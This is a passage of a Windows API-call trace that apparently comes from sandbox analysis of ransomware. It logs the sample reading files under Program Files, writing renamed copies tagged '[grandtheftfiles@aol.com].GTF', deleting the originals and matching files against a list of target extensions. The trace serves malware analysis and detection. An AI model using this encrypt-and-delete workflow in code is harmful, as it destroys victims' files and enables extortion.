	[0073.082] WriteFile (in: hFile=0x2d4, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x106, lpOverlapped=0x0) returned 1
	[0073.082] SetEndOfFile (hFile=0x2d4) returned 1
	[0073.082] CloseHandle (hObject=0x2d4) returned 1
	[0073.082] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.083] SetEndOfFile (hFile=0x370) returned 1
	[0073.083] CloseHandle (hObject=0x370) returned 1
	[0073.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0073.084] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 1
	[0073.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0073.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0073.084] lstrlenW (lpString=".doc") returned 4
	[0073.084] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0073.084] lstrlenW (lpString=".docx") returned 5
	[0073.084] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0073.084] lstrlenW (lpString=".pdf") returned 4
	[0073.084] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0073.084] lstrlenW (lpString=".xls") returned 4
	[0073.084] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0073.084] lstrlenW (lpString=".xlsx") returned 5
	[0073.084] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0073.084] lstrlenW (lpString=".ppt") returned 4
	[0073.084] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0073.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0073.084] lstrlenW (lpString=".zip") returned 4
	[0073.084] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0073.084] lstrlenW (lpString=".rar") returned 4
	[0073.084] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0073.084] lstrlenW (lpString=".bz2") returned 4
	[0073.084] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0073.084] lstrlenW (lpString=".7z") returned 3
	[0073.084] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0073.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0073.084] lstrlenW (lpString=".dbf") returned 4
	[0073.084] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0073.084] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0073.085] lstrlenW (lpString=".1cd") returned 4
	[0073.085] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0073.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0073.085] lstrlenW (lpString=".jpg") returned 4
	[0073.085] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0073.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0073.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0073.085] lstrlenW (lpString=".doc") returned 4
	[0073.085] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0073.085] lstrlenW (lpString=".docx") returned 5
	[0073.085] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0073.085] lstrlenW (lpString=".pdf") returned 4
	[0073.085] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0073.085] lstrlenW (lpString=".xls") returned 4
	[0073.085] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0073.085] lstrlenW (lpString=".xlsx") returned 5
	[0073.085] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0073.085] lstrlenW (lpString=".ppt") returned 4
	[0073.085] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0073.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0073.085] lstrlenW (lpString=".zip") returned 4
	[0073.085] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0073.085] lstrlenW (lpString=".rar") returned 4
	[0073.085] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0073.085] lstrlenW (lpString=".bz2") returned 4
	[0073.085] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0073.085] lstrlenW (lpString=".7z") returned 3
	[0073.085] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0073.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0073.085] lstrlenW (lpString=".dbf") returned 4
	[0073.085] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0073.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0073.085] lstrlenW (lpString=".1cd") returned 4
	[0073.085] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0073.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79
	[0073.085] lstrlenW (lpString=".jpg") returned 4
	[0073.085] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0073.086] lstrcmpiW (lpString1=".VBS", lpString2=".GTF") returned 1
	[0073.086] lstrlenW (lpString="OSPP.VBS") returned 8
	[0073.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0073.086] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=94467) returned 1
	[0073.086] CloseHandle (hObject=0x370) returned 1
	[0073.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 0x20
	[0073.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0073.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0073.086] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.086] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0073.087] GetLastError () returned 0x0
	[0073.087] ReadFile (in: hFile=0x370, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x17103, lpOverlapped=0x0) returned 1
	[0073.090] WriteFile (in: hFile=0x2d4, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x17110, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x17110, lpOverlapped=0x0) returned 1
	[0073.092] ReadFile (in: hFile=0x370, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.092] WriteFile (in: hFile=0x2d4, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xe4, lpOverlapped=0x0) returned 1
	[0073.092] SetEndOfFile (hFile=0x2d4) returned 1
	[0073.092] CloseHandle (hObject=0x2d4) returned 1
	[0073.095] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.095] SetEndOfFile (hFile=0x370) returned 1
	[0073.097] CloseHandle (hObject=0x370) returned 1
	[0073.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0073.097] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 1
	[0073.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0073.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0073.097] lstrlenW (lpString=".doc") returned 4
	[0073.097] lstrcmpiW (lpString1=".doc", lpString2=".VBS") returned -1
	[0073.097] lstrlenW (lpString=".docx") returned 5
	[0073.097] lstrcmpiW (lpString1=".docx", lpString2="P.VBS") returned -1
	[0073.097] lstrlenW (lpString=".pdf") returned 4
	[0073.097] lstrcmpiW (lpString1=".pdf", lpString2=".VBS") returned -1
	[0073.097] lstrlenW (lpString=".xls") returned 4
	[0073.097] lstrcmpiW (lpString1=".xls", lpString2=".VBS") returned 1
	[0073.097] lstrlenW (lpString=".xlsx") returned 5
	[0073.097] lstrcmpiW (lpString1=".xlsx", lpString2="P.VBS") returned -1
	[0073.097] lstrlenW (lpString=".ppt") returned 4
	[0073.097] lstrcmpiW (lpString1=".ppt", lpString2=".VBS") returned -1
	[0073.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0073.097] lstrlenW (lpString=".zip") returned 4
	[0073.098] lstrcmpiW (lpString1=".zip", lpString2=".VBS") returned 1
	[0073.098] lstrlenW (lpString=".rar") returned 4
	[0073.098] lstrcmpiW (lpString1=".rar", lpString2=".VBS") returned -1
	[0073.098] lstrlenW (lpString=".bz2") returned 4
	[0073.098] lstrcmpiW (lpString1=".bz2", lpString2=".VBS") returned -1
	[0073.098] lstrlenW (lpString=".7z") returned 3
	[0073.098] lstrcmpiW (lpString1=".7z", lpString2="VBS") returned -1
	[0073.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0073.098] lstrlenW (lpString=".dbf") returned 4
	[0073.098] lstrcmpiW (lpString1=".dbf", lpString2=".VBS") returned -1
	[0073.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0073.098] lstrlenW (lpString=".1cd") returned 4
	[0073.098] lstrcmpiW (lpString1=".1cd", lpString2=".VBS") returned -1
	[0073.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0073.098] lstrlenW (lpString=".jpg") returned 4
	[0073.098] lstrcmpiW (lpString1=".jpg", lpString2=".VBS") returned -1
	[0073.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0073.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0073.098] lstrlenW (lpString=".doc") returned 4
	[0073.098] lstrcmpiW (lpString1=".doc", lpString2=".VBS") returned -1
	[0073.098] lstrlenW (lpString=".docx") returned 5
	[0073.098] lstrcmpiW (lpString1=".docx", lpString2="P.VBS") returned -1
	[0073.098] lstrlenW (lpString=".pdf") returned 4
	[0073.098] lstrcmpiW (lpString1=".pdf", lpString2=".VBS") returned -1
	[0073.098] lstrlenW (lpString=".xls") returned 4
	[0073.098] lstrcmpiW (lpString1=".xls", lpString2=".VBS") returned 1
	[0073.098] lstrlenW (lpString=".xlsx") returned 5
	[0073.098] lstrcmpiW (lpString1=".xlsx", lpString2="P.VBS") returned -1
	[0073.098] lstrlenW (lpString=".ppt") returned 4
	[0073.098] lstrcmpiW (lpString1=".ppt", lpString2=".VBS") returned -1
	[0073.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0073.098] lstrlenW (lpString=".zip") returned 4
	[0073.098] lstrcmpiW (lpString1=".zip", lpString2=".VBS") returned 1
	[0073.098] lstrlenW (lpString=".rar") returned 4
	[0073.098] lstrcmpiW (lpString1=".rar", lpString2=".VBS") returned -1
	[0073.099] lstrlenW (lpString=".bz2") returned 4
	[0073.100] lstrcmpiW (lpString1=".bz2", lpString2=".VBS") returned -1
	[0073.100] lstrlenW (lpString=".7z") returned 3
	[0073.100] lstrcmpiW (lpString1=".7z", lpString2="VBS") returned -1
	[0073.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0073.100] lstrlenW (lpString=".dbf") returned 4
	[0073.100] lstrcmpiW (lpString1=".dbf", lpString2=".VBS") returned -1
	[0073.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0073.100] lstrlenW (lpString=".1cd") returned 4
	[0073.100] lstrcmpiW (lpString1=".1cd", lpString2=".VBS") returned -1
	[0073.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0073.100] lstrlenW (lpString=".jpg") returned 4
	[0073.100] lstrcmpiW (lpString1=".jpg", lpString2=".VBS") returned -1
	[0073.100] lstrcmpiW (lpString1=".XML", lpString2=".GTF") returned 1
	[0073.100] lstrlenW (lpString="SLERROR.XML") returned 11
	[0073.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0073.100] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=36336) returned 1
	[0073.100] CloseHandle (hObject=0x370) returned 1
	[0073.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 0x20
	[0073.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0073.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0073.101] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.101] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0073.101] GetLastError () returned 0x0
	[0073.101] ReadFile (in: hFile=0x370, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x8df0, lpOverlapped=0x0) returned 1
	[0073.105] WriteFile (in: hFile=0x2d4, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x8e00, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x8e00, lpOverlapped=0x0) returned 1
	[0073.106] ReadFile (in: hFile=0x370, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.107] WriteFile (in: hFile=0x2d4, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xea, lpOverlapped=0x0) returned 1
	[0073.107] SetEndOfFile (hFile=0x2d4) returned 1
	[0073.107] CloseHandle (hObject=0x2d4) returned 1
	[0073.108] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.108] SetEndOfFile (hFile=0x370) returned 1
	[0073.109] CloseHandle (hObject=0x370) returned 1
	[0073.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0073.109] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 1
	[0073.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0073.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0073.110] lstrlenW (lpString=".doc") returned 4
	[0073.110] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0073.110] lstrlenW (lpString=".docx") returned 5
	[0073.110] lstrcmpiW (lpString1=".docx", lpString2="R.XML") returned -1
	[0073.110] lstrlenW (lpString=".pdf") returned 4
	[0073.110] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0073.110] lstrlenW (lpString=".xls") returned 4
	[0073.110] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0073.110] lstrlenW (lpString=".xlsx") returned 5
	[0073.110] lstrcmpiW (lpString1=".xlsx", lpString2="R.XML") returned -1
	[0073.110] lstrlenW (lpString=".ppt") returned 4
	[0073.110] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0073.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0073.110] lstrlenW (lpString=".zip") returned 4
	[0073.110] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0073.110] lstrlenW (lpString=".rar") returned 4
	[0073.110] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0073.110] lstrlenW (lpString=".bz2") returned 4
	[0073.110] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0073.110] lstrlenW (lpString=".7z") returned 3
	[0073.110] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0073.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0073.110] lstrlenW (lpString=".dbf") returned 4
	[0073.110] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0073.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0073.110] lstrlenW (lpString=".1cd") returned 4
	[0073.110] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0073.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0073.110] lstrlenW (lpString=".jpg") returned 4
	[0073.110] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0073.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0073.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0073.111] lstrlenW (lpString=".doc") returned 4
	[0073.111] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0073.111] lstrlenW (lpString=".docx") returned 5
	[0073.111] lstrcmpiW (lpString1=".docx", lpString2="R.XML") returned -1
	[0073.111] lstrlenW (lpString=".pdf") returned 4
	[0073.111] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0073.111] lstrlenW (lpString=".xls") returned 4
	[0073.111] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0073.111] lstrlenW (lpString=".xlsx") returned 5
	[0073.111] lstrcmpiW (lpString1=".xlsx", lpString2="R.XML") returned -1
	[0073.111] lstrlenW (lpString=".ppt") returned 4
	[0073.111] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0073.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0073.111] lstrlenW (lpString=".zip") returned 4
	[0073.111] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0073.111] lstrlenW (lpString=".rar") returned 4
	[0073.111] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0073.111] lstrlenW (lpString=".bz2") returned 4
	[0073.111] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0073.111] lstrlenW (lpString=".7z") returned 3
	[0073.111] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0073.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0073.111] lstrlenW (lpString=".dbf") returned 4
	[0073.111] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0073.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0073.111] lstrlenW (lpString=".1cd") returned 4
	[0073.111] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0073.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0073.112] lstrlenW (lpString=".jpg") returned 4
	[0073.112] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0073.112] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0073.112] lstrlenW (lpString="AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 53
	[0073.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0073.406] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=387356) returned 1
	[0073.406] CloseHandle (hObject=0x2d0) returned 1
	[0073.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0073.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0073.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0073.415] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.415] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0073.436] GetLastError () returned 0x0
	[0073.436] ReadFile (in: hFile=0x2d0, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x5e91c, lpOverlapped=0x0) returned 1
	[0073.449] WriteFile (in: hFile=0x370, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x5e920, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x5e920, lpOverlapped=0x0) returned 1
	[0073.458] ReadFile (in: hFile=0x2d0, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.458] WriteFile (in: hFile=0x370, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0073.458] SetEndOfFile (hFile=0x370) returned 1
	[0073.458] CloseHandle (hObject=0x370) returned 1
	[0073.466] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.466] SetEndOfFile (hFile=0x2d0) returned 1
	[0073.470] CloseHandle (hObject=0x2d0) returned 1
